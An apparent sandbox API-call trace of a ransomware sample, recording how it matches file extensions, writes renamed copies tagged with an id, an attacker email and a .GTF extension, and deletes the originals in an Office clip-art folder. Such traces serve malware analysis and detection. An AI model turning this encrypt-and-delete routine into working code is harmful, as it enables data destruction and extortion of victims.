	[0161.960] lstrlenW (lpString=".zip") returned 4
	[0161.960] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.960] lstrlenW (lpString=".rar") returned 4
	[0161.960] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.960] lstrlenW (lpString=".bz2") returned 4
	[0161.960] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.960] lstrlenW (lpString=".7z") returned 3
	[0161.960] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0161.960] lstrlenW (lpString=".dbf") returned 4
	[0161.960] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0161.960] lstrlenW (lpString=".1cd") returned 4
	[0161.960] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0161.960] lstrlenW (lpString=".jpg") returned 4
	[0161.960] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.960] lstrcmpiW (lpString1=".BMP", lpString2=".GTF") returned -1
	[0161.960] lstrlenW (lpString="J0101857.BMP") returned 12
	[0161.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0161.963] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=32184) returned 1
	[0161.963] CloseHandle (hObject=0x528) returned 1
	[0161.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 0x220
	[0161.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0161.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0161.967] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.967] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0161.968] GetLastError () returned 0x0
	[0161.968] ReadFile (in: hFile=0x528, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0161.970] WriteFile (in: hFile=0x52c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0161.972] ReadFile (in: hFile=0x528, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.972] WriteFile (in: hFile=0x52c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.972] SetEndOfFile (hFile=0x52c) returned 1
	[0161.972] CloseHandle (hObject=0x52c) returned 1
	[0161.972] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.972] SetEndOfFile (hFile=0x528) returned 1
	[0161.975] CloseHandle (hObject=0x528) returned 1
	[0161.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0161.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 1
	[0161.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0161.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0161.976] lstrlenW (lpString=".doc") returned 4
	[0161.976] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0161.976] lstrlenW (lpString=".docx") returned 5
	[0161.976] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1
	[0161.976] lstrlenW (lpString=".pdf") returned 4
	[0161.976] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0161.976] lstrlenW (lpString=".xls") returned 4
	[0161.976] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0161.976] lstrlenW (lpString=".xlsx") returned 5
	[0161.976] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1
	[0161.976] lstrlenW (lpString=".ppt") returned 4
	[0161.976] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0161.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0161.976] lstrlenW (lpString=".zip") returned 4
	[0161.976] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0161.976] lstrlenW (lpString=".rar") returned 4
	[0161.976] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0161.976] lstrlenW (lpString=".bz2") returned 4
	[0161.976] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0161.976] lstrlenW (lpString=".7z") returned 3
	[0161.976] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0161.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0161.976] lstrlenW (lpString=".dbf") returned 4
	[0161.976] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0161.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0161.976] lstrlenW (lpString=".1cd") returned 4
	[0161.976] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0161.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0161.977] lstrlenW (lpString=".jpg") returned 4
	[0161.977] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0161.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0161.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0161.977] lstrlenW (lpString=".doc") returned 4
	[0161.977] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0161.977] lstrlenW (lpString=".docx") returned 5
	[0161.977] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1
	[0161.977] lstrlenW (lpString=".pdf") returned 4
	[0161.977] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0161.977] lstrlenW (lpString=".xls") returned 4
	[0161.977] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0161.977] lstrlenW (lpString=".xlsx") returned 5
	[0161.977] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1
	[0161.977] lstrlenW (lpString=".ppt") returned 4
	[0161.977] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0161.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0161.977] lstrlenW (lpString=".zip") returned 4
	[0161.977] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0161.977] lstrlenW (lpString=".rar") returned 4
	[0161.977] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0161.977] lstrlenW (lpString=".bz2") returned 4
	[0161.977] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0161.977] lstrlenW (lpString=".7z") returned 3
	[0161.977] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0161.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0161.977] lstrlenW (lpString=".dbf") returned 4
	[0161.977] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0161.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0161.977] lstrlenW (lpString=".1cd") returned 4
	[0161.977] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0161.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0161.977] lstrlenW (lpString=".jpg") returned 4
	[0161.977] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0161.978] lstrcmpiW (lpString1=".BMP", lpString2=".GTF") returned -1
	[0161.978] lstrlenW (lpString="J0101858.BMP") returned 12
	[0161.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0161.979] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=32184) returned 1
	[0161.979] CloseHandle (hObject=0x528) returned 1
	[0161.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 0x220
	[0161.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0161.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0161.979] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.979] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0161.980] GetLastError () returned 0x0
	[0161.980] ReadFile (in: hFile=0x528, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0161.982] WriteFile (in: hFile=0x52c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0161.984] ReadFile (in: hFile=0x528, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.984] WriteFile (in: hFile=0x52c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.984] SetEndOfFile (hFile=0x52c) returned 1
	[0161.984] CloseHandle (hObject=0x52c) returned 1
	[0161.984] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.984] SetEndOfFile (hFile=0x528) returned 1
	[0161.991] CloseHandle (hObject=0x528) returned 1
	[0161.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0161.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 1
	[0161.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0161.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0161.992] lstrlenW (lpString=".doc") returned 4
	[0161.992] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0161.993] lstrlenW (lpString=".docx") returned 5
	[0161.993] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1
	[0161.993] lstrlenW (lpString=".pdf") returned 4
	[0161.993] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0161.993] lstrlenW (lpString=".xls") returned 4
	[0161.993] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0161.993] lstrlenW (lpString=".xlsx") returned 5
	[0161.993] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1
	[0161.993] lstrlenW (lpString=".ppt") returned 4
	[0161.993] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0161.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0161.993] lstrlenW (lpString=".zip") returned 4
	[0161.993] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0161.993] lstrlenW (lpString=".rar") returned 4
	[0161.993] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0161.993] lstrlenW (lpString=".bz2") returned 4
	[0161.993] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0161.993] lstrlenW (lpString=".7z") returned 3
	[0161.993] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0161.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0161.993] lstrlenW (lpString=".dbf") returned 4
	[0161.993] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0161.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0161.993] lstrlenW (lpString=".1cd") returned 4
	[0161.993] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0161.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0161.993] lstrlenW (lpString=".jpg") returned 4
	[0161.993] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0161.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0161.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0161.993] lstrlenW (lpString=".doc") returned 4
	[0161.993] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0161.993] lstrlenW (lpString=".docx") returned 5
	[0161.993] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1
	[0161.993] lstrlenW (lpString=".pdf") returned 4
	[0161.993] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0161.994] lstrlenW (lpString=".xls") returned 4
	[0161.994] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0161.994] lstrlenW (lpString=".xlsx") returned 5
	[0161.994] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1
	[0161.994] lstrlenW (lpString=".ppt") returned 4
	[0162.283] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0162.283] lstrlenW (lpString=".zip") returned 4
	[0162.283] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.283] lstrlenW (lpString=".rar") returned 4
	[0162.283] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.283] lstrlenW (lpString=".bz2") returned 4
	[0162.283] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.283] lstrlenW (lpString=".7z") returned 3
	[0162.283] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0162.283] lstrlenW (lpString=".dbf") returned 4
	[0162.284] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0162.284] lstrlenW (lpString=".1cd") returned 4
	[0162.284] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0162.284] lstrlenW (lpString=".jpg") returned 4
	[0162.284] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.284] lstrcmpiW (lpString1=".BMP", lpString2=".GTF") returned -1
	[0162.284] lstrlenW (lpString="J0101861.BMP") returned 12
	[0162.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0162.630] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=32184) returned 1
	[0162.630] CloseHandle (hObject=0x544) returned 1
	[0162.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 0x220
	[0162.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0162.651] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.651] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0162.834] GetLastError () returned 0x0
	[0162.834] ReadFile (in: hFile=0x53c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0162.859] WriteFile (in: hFile=0x544, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0162.860] ReadFile (in: hFile=0x53c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.860] WriteFile (in: hFile=0x544, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.860] SetEndOfFile (hFile=0x544) returned 1
	[0162.860] CloseHandle (hObject=0x544) returned 1
	[0162.860] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.860] SetEndOfFile (hFile=0x53c) returned 1
	[0162.863] CloseHandle (hObject=0x53c) returned 1
	[0162.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 1
	[0162.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0162.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0162.864] lstrlenW (lpString=".doc") returned 4
	[0162.864] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.865] lstrlenW (lpString=".docx") returned 5
	[0162.865] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1
	[0162.865] lstrlenW (lpString=".pdf") returned 4
	[0162.865] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.865] lstrlenW (lpString=".xls") returned 4
	[0162.865] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.865] lstrlenW (lpString=".xlsx") returned 5
	[0162.865] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1
	[0162.865] lstrlenW (lpString=".ppt") returned 4
	[0162.865] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0162.865] lstrlenW (lpString=".zip") returned 4
	[0162.865] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.865] lstrlenW (lpString=".rar") returned 4
	[0162.865] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.865] lstrlenW (lpString=".bz2") returned 4
	[0162.865] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.865] lstrlenW (lpString=".7z") returned 3
	[0162.865] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0162.865] lstrlenW (lpString=".dbf") returned 4
	[0162.865] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0162.865] lstrlenW (lpString=".1cd") returned 4
	[0162.865] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0162.865] lstrlenW (lpString=".jpg") returned 4
	[0162.865] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0162.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0162.865] lstrlenW (lpString=".doc") returned 4
	[0162.865] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.865] lstrlenW (lpString=".docx") returned 5
	[0162.865] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1
	[0162.865] lstrlenW (lpString=".pdf") returned 4
	[0162.865] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.866] lstrlenW (lpString=".xls") returned 4
	[0162.866] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.866] lstrlenW (lpString=".xlsx") returned 5
	[0162.866] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1
	[0162.866] lstrlenW (lpString=".ppt") returned 4
	[0162.866] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
